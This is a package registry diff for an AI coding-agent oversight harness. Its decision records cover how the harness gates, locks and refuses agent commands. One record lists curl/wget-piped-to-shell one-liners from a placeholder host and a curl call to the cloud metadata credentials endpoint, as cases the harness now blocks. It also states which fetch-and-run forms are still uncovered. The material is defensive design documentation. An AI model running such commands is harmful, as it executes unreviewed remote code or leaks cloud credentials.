@tech-leads-club/harness-toolkit 0.2.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +95 -0
- package/LICENSE +84 -0
- package/NOTICE +9 -0
- package/README.md +480 -0
- package/bin/tlc +10 -0
- package/bin/tlc-build +80 -0
- package/bin/tlc-cli.ts +1509 -0
- package/bin/tlc-exec +10 -0
- package/bin/tlc-exec.cmd +4 -0
- package/bin/tlc-exec.d.mts +60 -0
- package/bin/tlc-exec.mjs +248 -0
- package/bin/tlc.cmd +4 -0
- package/bin/tlc.mjs +7 -0
- package/bin/write-user-hooks.d.mts +40 -0
- package/bin/write-user-hooks.mjs +123 -0
- package/capabilities/catalog.json +418 -0
- package/config.example.json +51 -0
- package/dist/compact-before.mjs +7839 -0
- package/dist/doctor.mjs +8263 -0
- package/dist/help-topic.mjs +82 -0
- package/dist/init-project.mjs +993 -0
- package/dist/install-runtime.mjs +969 -0
- package/dist/lessons-cli.mjs +7258 -0
- package/dist/obs-cli.mjs +7025 -0
- package/dist/price-lookup.mjs +221 -0
- package/dist/prompt-submit.mjs +7860 -0
- package/dist/refresh-model-prices.mjs +158 -0
- package/dist/response-after.mjs +7879 -0
- package/dist/run.mjs +7830 -0
- package/dist/session-end.mjs +7937 -0
- package/dist/session-start.mjs +8056 -0
- package/dist/shim.mjs +52 -0
- package/dist/stop.mjs +8494 -0
- package/dist/subagent-start.mjs +7861 -0
- package/dist/subagent-stop.mjs +7851 -0
- package/dist/support.mjs +7045 -0
- package/dist/tlc-cli.mjs +8063 -0
- package/dist/tool-after.mjs +8113 -0
- package/dist/tool-before.mjs +7985 -0
- package/dist/tool-failure.mjs +7850 -0
- package/dist/uninstall-runtime.mjs +1307 -0
- package/docs/architecture.md +270 -0
- package/docs/concepts.md +562 -0
- package/docs/coverage.md +55 -0
- package/docs/decisions/ad-001.md +32 -0
- package/docs/decisions/ad-002.md +51 -0
- package/docs/decisions/ad-003.md +30 -0
- package/docs/decisions/ad-004.md +37 -0
- package/docs/decisions/ad-005.md +36 -0
- package/docs/decisions/ad-006.md +49 -0
- package/docs/decisions/ad-007.md +36 -0
- package/docs/decisions/ad-008.md +54 -0
- package/docs/decisions/ad-009.md +61 -0
- package/docs/decisions/ad-010.md +45 -0
- package/docs/decisions/ad-011.md +59 -0
- package/docs/decisions/ad-012.md +71 -0
- package/docs/decisions/ad-013.md +87 -0
- package/docs/decisions/ad-014.md +56 -0
- package/docs/decisions/ad-015.md +33 -0
- package/docs/decisions/ad-016.md +98 -0
- package/docs/decisions/ad-017.md +65 -0
- package/docs/decisions/ad-018.md +77 -0
- package/docs/decisions/ad-019.md +75 -0
- package/docs/decisions/ad-020.md +88 -0
- package/docs/decisions/ad-021.md +57 -0
- package/docs/decisions/ad-022.md +120 -0
- package/docs/decisions/ad-023.md +87 -0
- package/docs/decisions/ad-024.md +85 -0
- package/docs/decisions/ad-025.md +92 -0
- package/docs/decisions/ad-026.md +131 -0
- package/docs/decisions/ad-027.md +90 -0
- package/docs/decisions/ad-028.md +90 -0
- package/docs/decisions/ad-029.md +73 -0
- package/docs/decisions/ad-030.md +97 -0
- package/docs/decisions/ad-031.md +94 -0
- package/docs/decisions/ad-032.md +83 -0
- package/docs/decisions/ad-033.md +89 -0
- package/docs/decisions/ad-034.md +86 -0
- package/docs/decisions/ad-035.md +86 -0
- package/docs/decisions/ad-036.md +68 -0
- package/docs/decisions/ad-037.md +47 -0
- package/docs/decisions/ad-038.md +52 -0
- package/docs/decisions/ad-039.md +69 -0
- package/docs/decisions/ad-040.md +89 -0
- package/docs/decisions/ad-041.md +98 -0
- package/docs/decisions/ad-042.md +82 -0
- package/docs/decisions/ad-043.md +79 -0
- package/docs/decisions/ad-044.md +61 -0
- package/docs/decisions/ad-045.md +94 -0
- package/docs/decisions/ad-046.md +111 -0
- package/docs/decisions/ad-047.md +96 -0
- package/docs/decisions/ad-048.md +85 -0
- package/docs/decisions/ad-049.md +66 -0
- package/docs/decisions/ad-050.md +94 -0
- package/docs/decisions/ad-051.md +69 -0
- package/docs/decisions/ad-052.md +69 -0
- package/docs/decisions/ad-053.md +78 -0
- package/docs/decisions/ad-054.md +98 -0
- package/docs/decisions/ad-055.md +74 -0
- package/docs/decisions/ad-056.md +85 -0
- package/docs/decisions/ad-057.md +68 -0
- package/docs/decisions/ad-058.md +97 -0
- package/docs/decisions/ad-059.md +82 -0
- package/docs/decisions/ad-060.md +75 -0
- package/docs/decisions/ad-061.md +68 -0
- package/docs/decisions/ad-062.md +72 -0
- package/docs/decisions/ad-063.md +84 -0
- package/docs/decisions/ad-064.md +79 -0
- package/docs/decisions/ad-065.md +81 -0
- package/docs/decisions/ad-066.md +111 -0
- package/docs/decisions/ad-067.md +64 -0
- package/docs/decisions/ad-068.md +79 -0
- package/docs/decisions/ad-069.md +74 -0
- package/docs/decisions/ad-070.md +86 -0
- package/docs/decisions/ad-071.md +93 -0
- package/docs/decisions/ad-072.md +82 -0
- package/docs/decisions/ad-073.md +102 -0
- package/docs/decisions/ad-074.md +91 -0
- package/docs/decisions/ad-075.md +79 -0
- package/docs/decisions/ad-076.md +102 -0
- package/docs/decisions/ad-077.md +94 -0
- package/docs/decisions/ad-078.md +84 -0
- package/docs/decisions/ad-079.md +73 -0
- package/docs/decisions/ad-080.md +86 -0
- package/docs/decisions/ad-081.md +70 -0
- package/docs/decisions/ad-082.md +79 -0
- package/docs/decisions/ad-083.md +88 -0
- package/docs/decisions/index.md +111 -0
- package/docs/diagnose.md +248 -0
- package/docs/index.md +52 -0
- package/docs/init.md +101 -0
- package/docs/lessons.md +294 -0
- package/docs/log.md +139 -0
- package/docs/measure.md +178 -0
- package/docs/providers/claude-code.md +118 -0
- package/docs/providers/cursor.md +110 -0
- package/docs/providers/index.md +71 -0
- package/docs/troubleshooting.md +138 -0
- package/model-aliases.json +12 -0
- package/model-prices.cursor.json +410 -0
- package/model-prices.json +1 -0
- package/package.json +57 -0
- package/skills/harness-init/SKILL.md +241 -0
- package/skills/harness-init/evals/trigger_evals.json +86 -0
- package/skills/harness-init/references/capabilities.md +113 -0
- package/src/contracts/capabilities.ts +30 -0
- package/src/contracts/decision.ts +21 -0
- package/src/contracts/effort.ts +15 -0
- package/src/contracts/harness-event.ts +87 -0
- package/src/contracts/index.ts +6 -0
- package/src/contracts/policy-defaults.ts +14 -0
- package/src/contracts/wiring.ts +20 -0
- package/src/core/attest/attest.service.ts +0 -0
- package/src/core/capability/capability.service.ts +62 -0
- package/src/core/capability/capability.store.ts +51 -0
- package/src/core/capability/capability.types.ts +56 -0
- package/src/core/comment-policy/comment-policy.service.ts +307 -0
- package/src/core/comment-policy/comment-policy.types.ts +6 -0
- package/src/core/comment-policy/comment-resolvability.ts +134 -0
- package/src/core/comment-policy/comment-syntax.catalog.ts +310 -0
- package/src/core/comment-policy/comment-syntax.store.ts +65 -0
- package/src/core/comment-policy/comment-syntax.types.ts +24 -0
- package/src/core/core.facade.ts +461 -0
- package/src/core/duplication/duplication.service.ts +219 -0
- package/src/core/floor/floor.catalog.ts +54 -0
- package/src/core/floor/floor.paths.ts +90 -0
- package/src/core/floor/floor.policy-surface.ts +311 -0
- package/src/core/floor/floor.service.ts +306 -0
- package/src/core/floor/floor.tokenize.ts +179 -0
- package/src/core/floor/floor.verb.ts +28 -0
- package/src/core/floor/index.ts +1 -0
- package/src/core/gate/gate.artifact.ts +157 -0
- package/src/core/gate/gate.command.ts +130 -0
- package/src/core/gate/gate.findings.ts +201 -0
- package/src/core/gate/gate.inputs.ts +0 -0
- package/src/core/gate/gate.lock.ts +283 -0
- package/src/core/gate/gate.service.ts +28 -0
- package/src/core/gate/gate.types.ts +67 -0
- package/src/core/handoff/handoff.service.ts +43 -0
- package/src/core/handoff/handoff.store.ts +59 -0
- package/src/core/handoff/handoff.types.ts +89 -0
- package/src/core/index.ts +52 -0
- package/src/core/integrity/state-seal.ts +81 -0
- package/src/core/lesson/lesson.authored.ts +96 -0
- package/src/core/lesson/lesson.credit.ts +51 -0
- package/src/core/lesson/lesson.garden.ts +283 -0
- package/src/core/lesson/lesson.link.ts +93 -0
- package/src/core/lesson/lesson.score.ts +61 -0
- package/src/core/lesson/lesson.select.ts +209 -0
- package/src/core/lesson/lesson.service.ts +110 -0
- package/src/core/lesson/lesson.store.ts +317 -0
- package/src/core/lesson/lesson.sync.ts +70 -0
- package/src/core/lesson/lesson.types.ts +92 -0
- package/src/core/lesson/lesson.validity.ts +44 -0
- package/src/core/observability/observability.report.ts +326 -0
- package/src/core/observability/observability.service.ts +328 -0
- package/src/core/observability/observability.store.ts +269 -0
- package/src/core/observability/observability.types.ts +193 -0
- package/src/core/observability/observability.why.ts +206 -0
- package/src/core/observe/observe.service.ts +76 -0
- package/src/core/plan/plan.detect.ts +47 -0
- package/src/core/plan/plan.service.ts +81 -0
- package/src/core/plan/plan.types.ts +25 -0
- package/src/core/policy/policy.defaults.ts +103 -0
- package/src/core/policy/policy.guard.ts +34 -0
- package/src/core/policy/policy.integrity.ts +238 -0
- package/src/core/policy/policy.loader.ts +118 -0
- package/src/core/policy/policy.operator.ts +82 -0
- package/src/core/policy/policy.posture.ts +79 -0
- package/src/core/policy/policy.rails.ts +45 -0
- package/src/core/policy/policy.types.ts +157 -0
- package/src/core/presence/presence.service.ts +111 -0
- package/src/core/presence/presence.store.ts +59 -0
- package/src/core/presence/presence.types.ts +9 -0
- package/src/core/release/release.decisions.ts +147 -0
- package/src/core/release/release.seen.ts +38 -0
- package/src/core/shell-policy/shell-policy.service.ts +215 -0
- package/src/core/shell-policy/shell-policy.stall.ts +57 -0
- package/src/core/shell-policy/shell-policy.types.ts +26 -0
- package/src/core/ship/ship.ledger.ts +76 -0
- package/src/core/ship/ship.service.ts +137 -0
- package/src/core/ship/ship.types.ts +19 -0
- package/src/core/stagnation/stagnation.resolution.ts +87 -0
- package/src/core/stagnation/stagnation.service.ts +20 -0
- package/src/core/stagnation/stagnation.store.ts +49 -0
- package/src/core/stagnation/stagnation.types.ts +12 -0
- package/src/core/subagent-policy/subagent-policy.parent-model.ts +202 -0
- package/src/core/subagent-policy/subagent-policy.service.ts +139 -0
- package/src/core/subagent-policy/subagent-policy.types.ts +22 -0
- package/src/core/supply-chain/supply-chain.catalog.ts +51 -0
- package/src/core/supply-chain/supply-chain.service.ts +217 -0
- package/src/core/turn/turn.activity.ts +94 -0
- package/src/core/turn/turn.autopilot.ts +131 -0
- package/src/core/turn/turn.failure-signals.ts +193 -0
- package/src/core/turn/turn.loop-counter.ts +71 -0
- package/src/core/turn/turn.types.ts +14 -0
- package/src/core/untrusted/untrusted.detect.ts +53 -0
- package/src/core/untrusted/untrusted.recall.ts +87 -0
- package/src/core/untrusted/untrusted.service.ts +129 -0
- package/src/core/untrusted/untrusted.store.ts +75 -0
- package/src/core/untrusted/untrusted.types.ts +42 -0
- package/src/entrypoints/compact-before.ts +14 -0
- package/src/entrypoints/prompt-submit.ts +25 -0
- package/src/entrypoints/response-after.ts +60 -0
- package/src/entrypoints/run.ts +179 -0
- package/src/entrypoints/session-end.ts +58 -0
- package/src/entrypoints/session-start.ts +172 -0
- package/src/entrypoints/shim.ts +46 -0
- package/src/entrypoints/stop.ts +876 -0
- package/src/entrypoints/subagent-start.ts +16 -0
- package/src/entrypoints/subagent-stop.ts +32 -0
- package/src/entrypoints/support.ts +182 -0
- package/src/entrypoints/tool-after.ts +111 -0
- package/src/entrypoints/tool-before.ts +186 -0
- package/src/entrypoints/tool-failure.ts +26 -0
- package/src/platform/backoff.ts +49 -0
- package/src/platform/cli-output.ts +30 -0
- package/src/platform/env-scope.ts +22 -0
- package/src/platform/fs-atomic.ts +142 -0
- package/src/platform/fs-jsonl.ts +24 -0
- package/src/platform/git.ts +187 -0
- package/src/platform/paths.ts +80 -0
- package/src/platform/pricing.ts +229 -0
- package/src/platform/process.ts +64 -0
- package/src/platform/sanitize.ts +23 -0
- package/src/platform/screen.ts +46 -0
- package/src/platform/style.ts +103 -0
- package/src/providers/claude/claude.capabilities.ts +25 -0
- package/src/providers/claude/claude.detect.ts +14 -0
- package/src/providers/claude/claude.inbound.ts +252 -0
- package/src/providers/claude/claude.lessons-view.ts +33 -0
- package/src/providers/claude/claude.outbound.ts +65 -0
- package/src/providers/claude/claude.policy-defaults.ts +9 -0
- package/src/providers/claude/claude.transcript.ts +62 -0
- package/src/providers/claude/claude.wiring.ts +245 -0
- package/src/providers/claude/index.ts +17 -0
- package/src/providers/cursor/cursor.capabilities.ts +28 -0
- package/src/providers/cursor/cursor.detect.ts +14 -0
- package/src/providers/cursor/cursor.inbound.ts +203 -0
- package/src/providers/cursor/cursor.lessons-view.ts +30 -0
- package/src/providers/cursor/cursor.outbound.ts +43 -0
- package/src/providers/cursor/cursor.policy-defaults.ts +9 -0
- package/src/providers/cursor/cursor.wiring.ts +214 -0
- package/src/providers/cursor/index.ts +17 -0
- package/src/providers/index.ts +9 -0
- package/src/providers/provider.degrade.ts +152 -0
- package/src/providers/provider.port.ts +20 -0
- package/src/providers/provider.registry.ts +28 -0
- package/tools/doctor.ts +631 -0
- package/tools/help-topic.ts +74 -0
- package/tools/init-project.ts +277 -0
- package/tools/install-runtime.ts +164 -0
- package/tools/lessons-cli.ts +474 -0
- package/tools/obs-cli.ts +175 -0
- package/tools/price-lookup.ts +57 -0
- package/tools/refresh-model-prices.ts +210 -0
- package/tools/test-env.mjs +28 -0
- package/tools/test-env.names.d.mts +1 -0
- package/tools/test-env.names.mjs +14 -0
- package/tools/uninstall-runtime.ts +463 -0
|
@@ -0,0 +1,102 @@
|
|
|
1
|
+
---
|
|
2
|
+
type: Decision
|
|
3
|
+
title: "AD-073 — A neighbour mid-gate is not a reason to block a turn"
|
|
4
|
+
description: "A pre-check returned BLOCKED on any live lock holder, which denied the cached verdict the gate consults first, made a 120-second backoff loop unreachable, and told the model to wait for something a stop hook cannot wait for. The turn now reuses, waits briefly, or defers — and a deferral is recorded rather than narrated."
|
|
5
|
+
tags: [decision, gate, concurrency, rails]
|
|
6
|
+
timestamp: "2026-08-17"
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
# AD-073 — A neighbour mid-gate is not a reason to block a turn
|
|
10
|
+
|
|
11
|
+
- **status**: active
|
|
12
|
+
|
|
13
|
+
## Decision
|
|
14
|
+
|
|
15
|
+
1. **The pre-check is gone.** `runLockedGate` decides in its existing order: reuse a matching verdict, else take
|
|
16
|
+
the lock.
|
|
17
|
+
2. **The stop path's wait is bounded** at `STOP_LOCK_WAIT_MS`, a fifth of the `Stop` hook's registered timeout.
|
|
18
|
+
3. **A wait that expires defers.** The turn ends; it is not blocked.
|
|
19
|
+
4. **`GateRun` is a union**, so a deferred gate cannot be read as a passing artifact.
|
|
20
|
+
5. **A deferral is recorded, not narrated**: `gate.outcome` with `deferred_to`, and
|
|
21
|
+
`last_gate_result: "skipped"` in the handoff — never `"pass"`.
|
|
22
|
+
|
|
23
|
+
## Why
|
|
24
|
+
|
|
25
|
+
**Four defects behind one message.** Reported from the field three times in one day, always:
|
|
26
|
+
|
|
27
|
+
```
|
|
28
|
+
BLOCKED: the grind lock is held by cursor session f7ac90a5-… (pid 206411).
|
|
29
|
+
Wait for it to release or coordinate, then continue.
|
|
30
|
+
```
|
|
31
|
+
|
|
32
|
+
The code was:
|
|
33
|
+
|
|
34
|
+
```ts
|
|
35
|
+
const holder = coreFacade.gate.describeHolder(root);
|
|
36
|
+
if (holder) {
|
|
37
|
+
return { kind: "continue", text: `BLOCKED: the grind lock is held by ${holder}...` };
|
|
38
|
+
}
|
|
39
|
+
```
|
|
40
|
+
|
|
41
|
+
- **It denied the cache.** `runLockedGate` consults the recorded verdict *before* taking the lock, so a turn whose
|
|
42
|
+
inputs hash to what a neighbour already verified needs no lock at all
|
|
43
|
+
([/decisions/ad-045.md](/decisions/ad-045.md)). The pre-check returned before that line was reached, so a usable
|
|
44
|
+
verdict sat on disk unread while the turn was blocked. This is the sharpest half: the answer was already there.
|
|
45
|
+
- **It made the wait unreachable.** `withGateLock` has a backoff-and-steal loop with a 120-second budget. For a
|
|
46
|
+
live holder it never ran. The turn did not wait one second.
|
|
47
|
+
- **It asked the model for something it cannot do.** A stop hook cannot sleep and retry — the turn is ending. That
|
|
48
|
+
is [/decisions/ad-047.md](/decisions/ad-047.md)'s rule, and the loop the operator saw is the model being
|
|
49
|
+
blocked, trying to end again, and being blocked again.
|
|
50
|
+
- **`continue` is not a message channel.** It renders as `{"decision":"block"}`, so *any* text at stop time is a
|
|
51
|
+
block. Naming the neighbour and letting the turn end were mutually exclusive by construction.
|
|
52
|
+
|
|
53
|
+
**`gate.lock.ts` predicted two of these, twice, in its own comments** — *"callers short-circuit on this answer
|
|
54
|
+
before `withGateLock` can reach `stealIfStale`"*. Both fixes went to the **dead holder** branch, which is why a
|
|
55
|
+
dead pid frees the lock immediately today. The live-holder short-circuit was never questioned.
|
|
56
|
+
|
|
57
|
+
**Deferring is safe because the sessions share a tree.** The neighbour's commands cover this turn's edits too. If
|
|
58
|
+
they pass, this turn was legitimate and the verdict now says so. If they fail, the neighbour is blocked holding
|
|
59
|
+
the failure and the tree is still broken, so the next stop in either session blocks on it. The property cannot
|
|
60
|
+
stay silently unverified; what is given up is only *which* turn is told, and telling the turn that cannot act was
|
|
61
|
+
worth nothing.
|
|
62
|
+
|
|
63
|
+
**The bound is a fifth of the budget, not the whole of it.** `GATE_LOCK_WAIT_MS` is 120 000 and the `Stop` hook is
|
|
64
|
+
registered with `timeoutSeconds: 120`. Waiting the library default would leave nothing for the gate the wait
|
|
65
|
+
exists to run — the host kills the hook first. Removing the pre-check without bounding the wait would have traded
|
|
66
|
+
an instant block for a killed hook.
|
|
67
|
+
|
|
68
|
+
## Trade-offs
|
|
69
|
+
|
|
70
|
+
**A turn can now end without its own gate verdict.** That is the point, and it is the one thing this gives up.
|
|
71
|
+
The handoff says `skipped` and the record names the holder, so nothing claims verification that did not happen —
|
|
72
|
+
but an operator reading only the transcript sees a clean stop. `tlc harness why` is where the deferral lives.
|
|
73
|
+
|
|
74
|
+
**The deferral is invisible in the moment.** There is no stop-time channel that carries text without blocking, so
|
|
75
|
+
inventing one was not on the table. Recording it and leaving the turn alone is the honest trade; narrating it
|
|
76
|
+
would have reproduced the defect.
|
|
77
|
+
|
|
78
|
+
**A test seam reads an environment variable.** `TLC_TEST_GATE_LOCK_WAIT_MS` exists because a test that proves the
|
|
79
|
+
wait has to wait, and ten seconds on every gate run in three environments is real cost. It only ever shortens,
|
|
80
|
+
only when set, and the production default is a constant no project can reconfigure. It is still a seam in shipped
|
|
81
|
+
code that exists for the suite.
|
|
82
|
+
|
|
83
|
+
**Two sessions in one checkout is still not a supported workflow.** This makes it survivable rather than
|
|
84
|
+
endorsed. Nothing coordinates the two beyond the lock and the verdict hash.
|
|
85
|
+
|
|
86
|
+
**The elapsed-time assertion is a clock in a test.** Asserting the bound as a constant was not enough: a mutant
|
|
87
|
+
that stopped *passing* it fell back to the 120-second default, still deferred, and passed every other assertion
|
|
88
|
+
while taking two minutes. Only elapsed time proves the seam reaches the lock. The bound is 30 seconds against the
|
|
89
|
+
120 it catches, which is slack enough not to be a race.
|
|
90
|
+
|
|
91
|
+
## Not decided here
|
|
92
|
+
|
|
93
|
+
- **A cross-session queue.** One bounded wait, then defer. A queue would need a protocol between sessions that
|
|
94
|
+
nothing else in the harness has.
|
|
95
|
+
- **Whether the deferring turn should adopt the neighbour's verdict once it lands.** It arrives after the turn
|
|
96
|
+
ended; the next stop in that session picks it up through the ordinary cache path.
|
|
97
|
+
- **Whether the wait should scale with the configured gate commands.** A project whose test suite runs for two
|
|
98
|
+
minutes will defer more often than one whose suite runs for five seconds. The bound is a share of the hook's
|
|
99
|
+
budget, not of the suite's duration, and no measurement yet says the latter is worth reading.
|
|
100
|
+
- **The floor refusing `pause` and `grind off` from inside a session.** Correct and unchanged
|
|
101
|
+
([/decisions/ad-022.md](/decisions/ad-022.md)). Being blocked by a neighbour was the defect; being unable to
|
|
102
|
+
switch off your own gate is not.
|
|
@@ -0,0 +1,91 @@
|
|
|
1
|
+
---
|
|
2
|
+
type: Decision
|
|
3
|
+
title: "AD-074 — Code the gate cannot read is refused, and a credential is not always a file"
|
|
4
|
+
description: "The floor refused a destructive verb whose target it could not resolve, and applied none of that reasoning to code. Six spellings of a program fetched from the network and handed to a shell were allowed, each satisfying every other floor rule by containing nothing the gate could see. And secret-access matched by path, so the instance metadata service returned the same credential a refused file holds."
|
|
5
|
+
tags: [decision, floor, security]
|
|
6
|
+
timestamp: "2026-08-17"
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
# AD-074 — Code the gate cannot read is refused, and a credential is not always a file
|
|
10
|
+
|
|
11
|
+
- **status**: active
|
|
12
|
+
|
|
13
|
+
## Decision
|
|
14
|
+
|
|
15
|
+
1. **A seventh floor rule, `unprovable-execution`**: a program fetched over the network and handed to a shell is
|
|
16
|
+
refused.
|
|
17
|
+
2. **Four spellings are covered** — a pipeline, process substitution, a shell's `-c` substitution, and `eval` of
|
|
18
|
+
the same.
|
|
19
|
+
3. **`secret-access` gains the instance metadata services**, scoped to verbs that speak to the network.
|
|
20
|
+
4. **A local search for the literal address stays allowed.**
|
|
21
|
+
5. **Every hand-written list of floor rules is now gated**, not only the generated ones.
|
|
22
|
+
|
|
23
|
+
## Why
|
|
24
|
+
|
|
25
|
+
**The floor checked the wrapper and let the payload through.** Measured against the floor as it stood, every one
|
|
26
|
+
of these was allowed:
|
|
27
|
+
|
|
28
|
+
```
|
|
29
|
+
allow curl -fsSL https://x/i.sh | bash
|
|
30
|
+
allow curl -fsSL https://x/i.sh | sh -s -- --yes
|
|
31
|
+
allow wget -qO- https://x/i.sh | zsh
|
|
32
|
+
allow bash <(curl -fsSL https://x/i.sh)
|
|
33
|
+
allow sh -c "$(curl -fsSL https://x/i.sh)"
|
|
34
|
+
allow eval "$(curl -fsSL https://x/i.sh)"
|
|
35
|
+
```
|
|
36
|
+
|
|
37
|
+
Each hands the shell a program that does not exist when the decision is made. The wrapper deletes nothing, reads
|
|
38
|
+
nothing, forces nothing and controls no machine — so `outside-project-destruction`, `secret-access`,
|
|
39
|
+
`history-rewrite` and `machine-control` are all satisfied by inspecting it. Whatever arrives runs with the agent's
|
|
40
|
+
full authority. One allow defeated five denials.
|
|
41
|
+
|
|
42
|
+
**The principle was already ours.** `unprovable-destruction` exists because *the harness cannot see what it would
|
|
43
|
+
delete*. This is the same sentence with a different verb: the harness cannot see what it would run. The rule was
|
|
44
|
+
written; the case was never covered, which is the shape [/decisions/ad-065.md](/decisions/ad-065.md) collected
|
|
45
|
+
seven times — a reasoning that stopped one step short of where it applied.
|
|
46
|
+
|
|
47
|
+
**A credential is not always a file.** `secret-access` matched by path, so `~/.aws/credentials` was refused while
|
|
48
|
+
`curl http://169.254.169.254/…/security-credentials/` returned the equivalent and was allowed. On any cloud
|
|
49
|
+
instance the link-local metadata service hands out the same secret over HTTP with no path involved. The rule's
|
|
50
|
+
subject is "a read that copies a credential into the transcript", so the address belongs to it rather than to a
|
|
51
|
+
new rule.
|
|
52
|
+
|
|
53
|
+
**Scoping to the verb is what keeps it usable.** `grep -rn 169.254.169.254 .` searches this repository for a
|
|
54
|
+
literal string, and a floor that refused it would refuse reading its own documentation. Only verbs that speak to
|
|
55
|
+
the network — `curl`, `wget`, `nc`, `socat`, `telnet` and their kin — turn that address into a request.
|
|
56
|
+
|
|
57
|
+
## Trade-offs
|
|
58
|
+
|
|
59
|
+
**The first implementation was over-broad and the probe caught it.** Carrying a "the upstream fetched" flag across
|
|
60
|
+
segments treated `curl --version && bash ./scripts/deploy.sh` as a download piped to a shell, because the
|
|
61
|
+
tokenizer splits on `;`, `|` and `&` alike. Requiring a literal pipe keeps every real form and drops a sequence
|
|
62
|
+
that merely mentions a fetcher. A false positive is expensive in a rule with no switch
|
|
63
|
+
([/decisions/ad-034.md](/decisions/ad-034.md)), so the narrower rule wins and the gap is stated below.
|
|
64
|
+
|
|
65
|
+
**Two ways to fetch and run are still allowed, deliberately.** `curl -o /tmp/i.sh … && bash /tmp/i.sh` runs a
|
|
66
|
+
file, which is the coverage limit `bash script.sh` already carries. And an interpreter that downloads inside its
|
|
67
|
+
own inline code — `python3 -c "…urlopen…exec…"` — needs the gate to understand Python. A rule that fired on any
|
|
68
|
+
inline code containing a URL would refuse ordinary one-liners against ordinary APIs, and a floor rule cannot be
|
|
69
|
+
switched off when it is wrong.
|
|
70
|
+
|
|
71
|
+
**No host allowlist.** "Fetch from these domains and pipe to a shell" would name nothing on a fresh install and
|
|
72
|
+
therefore enforce nothing, which this project already refused once for models
|
|
73
|
+
([/decisions/ad-053.md](/decisions/ad-053.md)).
|
|
74
|
+
|
|
75
|
+
**The `WebFetch` tool path is uncovered.** `FloorInput` carries a tool name, a file path and a command; no URL
|
|
76
|
+
reaches it. Covering it means changing what each provider adapter extracts, which is a wider change than the rule
|
|
77
|
+
itself.
|
|
78
|
+
|
|
79
|
+
**The metadata host list is a list.** Four addresses today. A cloud whose endpoint is not among them is not
|
|
80
|
+
covered, the failure is silent, and the fix is one string. That is the honest cost of matching an address rather
|
|
81
|
+
than a property.
|
|
82
|
+
|
|
83
|
+
## Not decided here
|
|
84
|
+
|
|
85
|
+
- **Package installation.** Nothing in the harness looks at what a turn installs — an unpinned version, a
|
|
86
|
+
dependency added this turn, a lockfile that moved. It is a real gap and it belongs to a rail that can be
|
|
87
|
+
calibrated before it blocks, not to the floor.
|
|
88
|
+
- **Whether a fetch with no shell should be recorded.** `curl` to an ordinary host is allowed and unremarked. An
|
|
89
|
+
operator asking "what did this turn reach for" has no answer today.
|
|
90
|
+
- **Reading a program out of another language.** Stated above as a trade-off; it stays out until there is a rule
|
|
91
|
+
that does not refuse honest one-liners.
|
|
@@ -0,0 +1,79 @@
|
|
|
1
|
+
---
|
|
2
|
+
type: Decision
|
|
3
|
+
title: "AD-075 — A dependency a turn adds outlives the turn, so two mechanical failures are worth a stop"
|
|
4
|
+
description: "Nothing in the harness read a manifest or a lockfile, and npm install reached the floor as allow. A rail now catches a manifest that moved without its lockfile and a specifier that names no version. Calibrated against this repository's own history, which reported a rename commit as a dependency and made the manifest's declared names part of the rule."
|
|
5
|
+
tags: [decision, supply-chain, rails]
|
|
6
|
+
timestamp: "2026-08-17"
|
|
7
|
+
---
|
|
8
|
+
|
|
9
|
+
# AD-075 — A dependency a turn adds outlives the turn, so two mechanical failures are worth a stop
|
|
10
|
+
|
|
11
|
+
- **status**: active
|
|
12
|
+
|
|
13
|
+
## Decision
|
|
14
|
+
|
|
15
|
+
1. **A rail, `supplyChain.enabled`, off by default**, diff-scoped against the sha the turn started from.
|
|
16
|
+
2. **Two findings.** `unlocked` — a manifest gained a dependency and no paired lockfile moved. `unpinned` — an
|
|
17
|
+
added dependency names no version.
|
|
18
|
+
3. **A manifest is recognised by filename**, from one table pairing each with the lockfiles its ecosystem accepts.
|
|
19
|
+
4. **For a JSON manifest the declared dependency sections decide**, so the manifest is read as it stands.
|
|
20
|
+
5. **A new dependency, pinned, with the lockfile moved, is silent.**
|
|
21
|
+
|
|
22
|
+
## Why
|
|
23
|
+
|
|
24
|
+
**The harness governed what an agent runs, deletes, reads and claims, and had no opinion about what it
|
|
25
|
+
installs.** Measured: nothing under `src/core` and no capability in the catalog read a manifest or a lockfile, and
|
|
26
|
+
`npm install` reached the floor as `allow` with no rule attached. A dependency added in a turn is code that runs
|
|
27
|
+
on every later turn, in CI, and on every machine that installs the project — arriving with none of the review the
|
|
28
|
+
turn's own diff gets.
|
|
29
|
+
|
|
30
|
+
**Two failures are mechanical, and a third is not.** A manifest that moved without its lockfile is two sides of
|
|
31
|
+
one fact updated on one side, which is the shape [/decisions/ad-065.md](/decisions/ad-065.md) collected seven
|
|
32
|
+
times. A specifier of `latest` or `*` means the bytes that arrive tomorrow are not the bytes reviewed today. But
|
|
33
|
+
*adding a dependency* is ordinary work, and a rail that fires on it fires on every honest turn — the shape that
|
|
34
|
+
teaches an operator to switch a rail off ([/decisions/ad-034.md](/decisions/ad-034.md)). The operator wants to
|
|
35
|
+
know; the rail should not block.
|
|
36
|
+
|
|
37
|
+
**The calibration changed the rule.** Run against this repository's last eighty commits, the first version
|
|
38
|
+
reported one finding — and it was wrong. A commit that renamed the package added `"name": "harness-toolkit"`, and
|
|
39
|
+
the textual shape `"key": "value"` read it as a dependency. It would have read every `scripts` entry the same way,
|
|
40
|
+
because a diff shows one line and one line cannot say which object it sits in. Reading the manifest and asking
|
|
41
|
+
whether the key is in a declared dependency section is the only exact answer. After that the same eighty commits
|
|
42
|
+
reported nothing, which is now credible rather than merely quiet: the unit cases prove the rule still fires.
|
|
43
|
+
|
|
44
|
+
**Any of the ecosystem's lockfiles counts.** A project on pnpm has locked as firmly as one on npm, and a rule
|
|
45
|
+
that only knew `package-lock.json` would have refused every pnpm and yarn project's honest work.
|
|
46
|
+
|
|
47
|
+
## Trade-offs
|
|
48
|
+
|
|
49
|
+
**PHP is absent, and not for a technical reason.** Its manifest filename contains a word `check-boundaries`
|
|
50
|
+
forbids anywhere under `src/core`, because that word is also a provider's agent name
|
|
51
|
+
([/decisions/ad-004.md](/decisions/ad-004.md)). The choice was between weakening the architecture rule for one
|
|
52
|
+
table row and dropping the row. The rule is worth more, so the row went and the reason is stated here instead of
|
|
53
|
+
a suppression being invented.
|
|
54
|
+
|
|
55
|
+
**It reads the manifest on stop.** Only when the turn changed one, only the manifests among the changed paths, and
|
|
56
|
+
manifests are small. A turn that touched none reads nothing, which is what `isManifest` is asked first for.
|
|
57
|
+
|
|
58
|
+
